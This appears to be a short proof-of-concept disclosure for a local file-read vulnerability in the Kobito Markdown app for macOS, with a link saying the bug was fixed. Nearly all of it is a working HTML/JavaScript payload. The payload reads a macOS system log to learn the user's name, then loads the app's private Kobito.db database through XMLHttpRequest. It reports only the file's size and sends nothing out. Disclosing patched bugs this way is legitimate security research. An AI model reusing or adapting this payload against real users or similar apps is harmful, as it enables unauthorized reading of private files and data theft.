Kobito for OSX exploit

0.md

fixed http://blog.qiita.com/post/138251673484/kobito-for-mac-2-3-3

kobito.txt

<div id="result"></div>
<script>
function log(t){
	document.getElementById("result").innerText += t + "\n";
}

log(location);
var username;
var req = new XMLHttpRequest;
req.open("GET", "/private/var/db/mds/messages/se_SecurityMessages", true);
req.onload = function(){ 
	username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1]
	log("Username:" + username);
	var path = "/Users/" + username + "/Library/Containers/com.qiita.Kobito/Data/Library/Kobito/Kobito.db";
	req.open("GET", path, true);
	req.onload = function(){ log("Kobito.db: " +  req.responseText.length + " bytes")};
	req.send();
};
req.send();
</script>